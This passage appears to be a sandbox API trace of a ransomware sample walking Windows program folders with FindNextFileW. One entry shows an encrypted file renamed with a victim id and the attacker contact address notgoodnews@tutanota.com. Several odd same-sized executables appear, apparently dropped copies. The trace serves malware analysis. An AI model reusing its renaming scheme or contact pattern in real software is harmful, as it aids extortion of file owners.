ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0193.271] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.271] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0193.272] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.272] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0193.273] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.273] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0193.273] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0193.275] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f43f000, ftCreationTime.dwHighDateTime=0x1d5933c, ftLastAccessTime.dwLowDateTime=0xeda1c370, ftLastAccessTime.dwHighDateTime=0x1d58b25, ftLastWriteTime.dwLowDateTime=0xeda1c370, ftLastWriteTime.dwHighDateTime=0x1d58b25, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0193.275] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0193.276] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3b18952e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3b18952e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b18952e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DESKTO~1.NEW")) returned 1 [0193.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e98070 | out: hHeap=0x660000) returned 1 [0193.972] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0193.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e98070 | out: hHeap=0x660000) returned 1 [0193.972] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bee610, ftCreationTime.dwHighDateTime=0x1d59ff3, ftLastAccessTime.dwLowDateTime=0x68023ee0, ftLastAccessTime.dwHighDateTime=0x1d5cb1f, ftLastWriteTime.dwLowDateTime=0x68023ee0, ftLastWriteTime.dwHighDateTime=0x1d5cb1f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="prospects_pixel_academics.exe", cAlternateFileName="PROSPE~1.EXE")) returned 1 [0193.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e98070 | out: hHeap=0x660000) returned 1 [0193.972] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0193.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.972] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c987fe8, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c987fe8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0193.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f040a0 | out: hHeap=0x660000) returned 1 [0193.973] FindNextFileW (in: hFindFile=0x750e10, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0193.975] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f040a0 | out: hHeap=0x660000) returned 1 [0193.975] FindNextFileW (in: hFindFile=0x750e10, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0193.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f040a0 | out: hHeap=0x660000) returned 1 [0193.976] FindNextFileW (in: hFindFile=0x750e10, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0193.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0193.976] FindNextFileW (in: hFindFile=0x751250, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0193.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0193.977] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0193.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0193.977] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0193.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0193.977] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0193.978] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0193.978] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0193.979] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0193.979] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0193.979] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0193.979] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0193.980] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f180a8 | out: hHeap=0x660000) returned 1 [0193.980] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0193.980] FindClose (in: hFindFile=0x750f50 | out: hFindFile=0x750f50) returned 1 [0193.980] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0193.980] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0193.980] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f180a8 | out: hHeap=0x660000) returned 1 [0193.980] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0193.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f180a8 | out: hHeap=0x660000) returned 1 [0193.981] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0193.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f180a8 | out: hHeap=0x660000) returned 1 [0193.981] FindNextFileW (in: hFindFile=0x751110, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0193.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f080a0 | out: hHeap=0x660000) returned 1 [0193.983] FindNextFileW (in: hFindFile=0x751250, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0193.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea8078 | out: hHeap=0x660000) returned 1 [0193.984] FindNextFileW (in: hFindFile=0x7510d0, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd08c5d00, ftCreationTime.dwHighDateTime=0x1d566f8, ftLastAccessTime.dwLowDateTime=0xdc6ec450, ftLastAccessTime.dwHighDateTime=0x1d554dd, ftLastWriteTime.dwLowDateTime=0xdc6ec450, ftLastWriteTime.dwHighDateTime=0x1d554dd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0193.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e98070 | out: hHeap=0x660000) returned 1 [0193.984] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3ba2df22, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3ba2df22, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0193.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f180a8 | out: hHeap=0x660000) returned 1 [0193.986] FindNextFileW (in: hFindFile=0x750e50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3e689640, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3e689640, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0193.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f180a8 | out: hHeap=0x660000) returned 1 [0193.989] FindNextFileW (in: hFindFile=0x750e50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0193.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e98070 | out: hHeap=0x660000) returned 1 [0193.993] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0194.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.533] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0194.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.536] FindNextFileW (in: hFindFile=0x750ed0, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0194.536] FindClose (in: hFindFile=0x750ed0 | out: hFindFile=0x750ed0) returned 1 [0194.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f280b0 | out: hHeap=0x660000) returned 1 [0194.536] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0194.537] FindClose (in: hFindFile=0x7513d0 | out: hFindFile=0x7513d0) returned 1 [0194.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e98070 | out: hHeap=0x660000) returned 1 [0194.537] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0194.900] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.900] FindNextFileW (in: hFindFile=0x7510d0, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0194.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x7510d0, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0194.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x7510d0, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0194.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f280b0 | out: hHeap=0x660000) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 